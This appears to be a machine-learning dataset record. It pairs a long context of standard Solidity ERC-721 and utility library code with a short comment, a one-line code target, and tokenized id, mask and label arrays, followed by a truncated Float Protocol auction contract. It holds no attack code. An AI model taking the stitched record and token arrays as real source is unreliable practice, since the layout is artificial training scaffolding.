conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }
Used to set aside ranges of token ids for certain editions.
uint256 private maxSupply;
125,138
[ 1, 6668, 358, 444, 487, 831, 7322, 434, 1147, 3258, 364, 8626, 1675, 5029, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 3238, 943, 3088, 1283, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity =0.7.6; pragma abicoder v2; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./Staged.sol"; import "./AuctionHouseMath.sol"; import "./interfaces/IAuctionHouse.sol"; import "../funds/interfaces/basket/IBasketReader.sol"; import "../oracle/interfaces/ITwap.sol"; import "../policy/interfaces/IMonetaryPolicy.sol"; import "../tokens/interfaces/ISupplyControlledERC20.sol"; import "../lib/BasisMath.sol"; import "../lib/BlockNumber.sol"; import "../lib/Recoverable.sol"; import "../external-lib/SafeDecimalMath.sol"; import "../tokens/SafeSupplyControlledERC20.sol"; /** * @title Float Protocol Auction House * @notice The contract used to sell or buy FLOAT * @dev This contract does not store any assets, except for protocol fees, hence * it implements an asset recovery functionality (Recoverable). */ contract AuctionHouse is IAuctionHouse, BlockNumber, AuctionHouseMath, AccessControl, Staged, Recoverable { using SafeMath for uint256; using SafeDecimalMath for uint256; using SafeERC20 for IERC20; using SafeERC20 for ISupplyControlledERC20; using SafeSupplyControlledERC20 for ISupplyControlledERC20; using BasisMath for uint256; /* ========== CONSTANTS ========== */ bytes32 public constant GOVERNANCE_ROLE = keccak256("GOVERNANCE_ROLE"); IERC20 internal immutable weth; ISupplyControlledERC20 internal immutable bank; ISupplyControlledERC20 internal immutable float; IBasketReader internal immutable basket; /* ========== STATE VARIABLES ========== */ // Monetary Policy Contract that decides the target price IMonetaryPolicy internal monetaryPolicy; // Provides the BANK-ETH Time Weighted Average Price (TWAP) [e27] ITwap internal bankEthOracle; // Provides the FLOAT-ETH Time Weighted Average Price (TWAP) [e27] ITwap internal floatEthOracle; /// @inheritdoc IAuctionHouseState uint16 public override buffer = 10_00; // 10% default /// @inheritdoc IAuctionHouseState uint16 public override protocolFee = 5_00; // 5% / 500 bps /// @inheritdoc IAuctionHouseState uint32 public override allowanceCap = 10_00; // 10% / 1000 bps /// @inheritdoc IAuctionHouseVariables uint64 public override round; /** * @notice Allows for monetary policy updates to be enabled and disabled. */ bool public shouldUpdatePolicy = true; /** * Note that we choose to freeze all price values at the start of an auction. * These values are stale _by design_. The burden of price checking * is moved to the arbitrager, already vital for them to make a profit. * We don't mind these values being out of date, as we start the auctions from a position generously in favour of the protocol (assuming our target price is correct). If these market values are stale, then profit opportunity will start earlier / later, and hence close out a mispriced auction early. * We also start the auctions at `buffer`% of the price. */ /// @inheritdoc IAuctionHouseVariables mapping(uint64 => Auction) public override auctions; /* ========== CONSTRUCTOR ========== */ constructor( // Dependencies address _weth, address _bank, address _float, address _basket, address _monetaryPolicy, address _gov, address _bankEthOracle, address _floatEthOracle, // Parameters uint16 _auctionDuration, uint32 _auctionCooldown, uint256 _firstAuctionBlock ) Staged(_auctionDuration, _auctionCooldown, _firstAuctionBlock) { // Tokens weth = IERC20(_weth); bank = ISupplyControlledERC20(_bank); float = ISupplyControlledERC20(_float); // Basket basket = IBasketReader(_basket); // Monetary Policy monetaryPolicy = IMonetaryPolicy(_monetaryPolicy); floatEthOracle = ITwap(_floatEthOracle); bankEthOracle = ITwap(_bankEthOracle); emit ModifyParameters("monetaryPolicy", _monetaryPolicy); emit ModifyParameters("floatEthOracle", _floatEthOracle); emit ModifyParameters("bankEthOracle", _bankEthOracle); emit ModifyParameters("auctionDuration", _auctionDuration); emit ModifyParameters("auctionCooldown", _auctionCooldown); emit ModifyParameters("lastAuctionBlock", lastAuctionBlock); emit ModifyParameters("buffer", buffer); emit ModifyParameters("protocolFee", protocolFee); emit ModifyParameters("allowanceCap", allowanceCap); // Roles _setupRole(DEFAULT_ADMIN_ROLE, _gov); _setupRole(GOVERNANCE_ROLE, _gov); _setupRole(RECOVER_ROLE, _gov); } /* ========== MODIFIERS ========== */ modifier onlyGovernance { require( hasRole(GOVERNANCE_ROLE, _msgSender()), "AuctionHouse/GovernanceRole" ); _; } modifier inExpansion { require( latestAuction().stabilisationCase == Cases.Up || latestAuction().stabilisationCase == Cases.Restock, "AuctionHouse/NotInExpansion" ); _; } modifier inContraction { require( latestAuction().stabilisationCase == Cases.Confidence || latestAuction().stabilisationCase == Cases.Down, "AuctionHouse/NotInContraction" ); _; } /* ========== VIEWS ========== */ /// @inheritdoc IAuctionHouseDerivedState function price() public view override(IAuctionHouseDerivedState) returns (uint256 wethPrice, uint256 bankPrice) { Auction memory _latestAuction = latestAuction(); uint256 _step = step(); wethPrice = lerp( _latestAuction.startWethPrice, _latestAuction.endWethPrice, _step, auctionDuration ); bankPrice = lerp( _latestAuction.startBankPrice, _latestAuction.endBankPrice, _step, auctionDuration ); return (wethPrice, bankPrice); } /// @inheritdoc IAuctionHouseDerivedState function step() public view override(IAuctionHouseDerivedState) atStage(Stages.AuctionActive) returns (uint256) { // .sub is unnecessary here - block number >= lastAuctionBlock. return _blockNumber() - lastAuctionBlock; } function _startPrice( bool expansion, Cases stabilisationCase, uint256 targetFloatInEth, uint256 marketFloatInEth, uint256 bankInEth, uint256 basketFactor ) internal view returns (uint256 wethStart, uint256 bankStart) { uint256 bufferedMarketPrice = _bufferedMarketPrice(expansion, marketFloatInEth); if (stabilisationCase == Cases.Up) { uint256 bankProportion = bufferedMarketPrice.sub(targetFloatInEth).divideDecimalRoundPrecise( bankInEth ); return (targetFloatInEth, bankProportion); } if ( stabilisationCase == Cases.Restock || stabilisationCase == Cases.Confidence ) { return (bufferedMarketPrice, 0); } assert(stabilisationCase == Cases.Down); assert(basketFactor < SafeDecimalMath.PRECISE_UNIT); uint256 invertedBasketFactor = SafeDecimalMath.PRECISE_UNIT.sub(basketFactor); uint256 basketFactorAdjustedEth = bufferedMarketPrice.multiplyDecimalRoundPrecise(basketFactor); // Note that the PRECISE_UNIT factors itself out uint256 basketFactorAdjustedBank = bufferedMarketPrice.mul(invertedBasketFactor).div(bankInEth); return (basketFactorAdjustedEth, basketFactorAdjustedBank); } function _endPrice( Cases stabilisationCase, uint256 targetFloatInEth, uint256 bankInEth, uint256 basketFactor ) internal pure returns (uint256 wethEnd, uint256 bankEnd) { if (stabilisationCase == Cases.Down) { assert(basketFactor < SafeDecimalMath.PRECISE_UNIT); uint256 invertedBasketFactor = SafeDecimalMath.PRECISE_UNIT.sub(basketFactor); uint256 basketFactorAdjustedEth = targetFloatInEth.multiplyDecimalRoundPrecise(basketFactor); // Note that the PRECISE_UNIT factors itself out. uint256 basketFactorAdjustedBank = targetFloatInEth.mul(invertedBasketFactor).div(bankInEth); return (basketFactorAdjustedEth, basketFactorAdjustedBank); } return (targetFloatInEth, 0); } /// @inheritdoc IAuctionHouseDerivedState function latestAuction() public view override(IAuctionHouseDerivedState) returns (Auction memory) { return auctions[round]; } /// @dev Returns a buffered [e27] market price, note that buffer is still [e18], so can use divideDecimal. function _bufferedMarketPrice(bool expansion, uint256 marketPrice) internal view returns (uint256) { uint256 factor = expansion ? BasisMath.FULL_PERCENT.add(buffer) : BasisMath.FULL_PERCENT.sub(buffer); return marketPrice.percentageOf(factor); } /// @dev Calculates the current case based on if we're expanding and basket factor. function _currentCase(bool expansion, uint256 basketFactor) internal pure returns (Cases) { bool underlyingDemand = basketFactor >= SafeDecimalMath.PRECISE_UNIT; if (expansion) { return underlyingDemand ? Cases.Up : Cases.Restock; } return underlyingDemand ? Cases.Confidence : Cases.Down; } /* |||||||||| AuctionPending |||||||||| */ // solhint-disable function-max-lines /// @inheritdoc IAuctionHouseActions function start() external override(IAuctionHouseActions) timedTransition atStage(Stages.AuctionPending) returns (uint64 newRound) { // Check we have up to date oracles, this also ensures we don't have // auctions too close together (reverts based upon timeElapsed < periodSize). bankEthOracle.update(address(bank), address(weth)); floatEthOracle.update(address(float), address(weth)); // [e27] uint256 frozenBankInEth = bankEthOracle.consult( address(bank), SafeDecimalMath.PRECISE_UNIT, address(weth) ); // [e27] uint256 frozenFloatInEth = floatEthOracle.consult( address(float), SafeDecimalMath.PRECISE_UNIT, address(weth) ); // Update Monetary Policy with previous auction results if (round != 0 && shouldUpdatePolicy) { uint256 oldTargetPriceInEth = monetaryPolicy.consult(); uint256 oldBasketFactor = basket.getBasketFactor(oldTargetPriceInEth); monetaryPolicy.updateGivenAuctionResults( round, lastAuctionBlock, frozenFloatInEth, oldBasketFactor ); } // Round only increments by one on start, given auction period of restriction of 150 blocks // this means we'd need 2**64 / 150 blocks or ~3.7 lifetimes of the universe to overflow. // Likely, we'd have upgraded the contract by this point. round++; // Calculate target price [e27] uint256 frozenTargetPriceInEth = monetaryPolicy.consult(); // STC: Pull out to ValidateOracles require(frozenTargetPriceInEth != 0, "AuctionHouse/TargetSenseCheck"); require(frozenBankInEth != 0, "AuctionHouse/BankSenseCheck"); require(frozenFloatInEth != 0, "AuctionHouse/FloatSenseCheck"); uint256 basketFactor = basket.getBasketFactor(frozenTargetPriceInEth); bool expansion = frozenFloatInEth >= frozenTargetPriceInEth; Cases stabilisationCase = _currentCase(expansion, basketFactor); // Calculate Auction Price points (uint256 wethStart, uint256 bankStart) = _startPrice( expansion, stabilisationCase, frozenTargetPriceInEth, frozenFloatInEth, frozenBankInEth, basketFactor ); (uint256 wethEnd, uint256 bankEnd) = _endPrice( stabilisationCase, 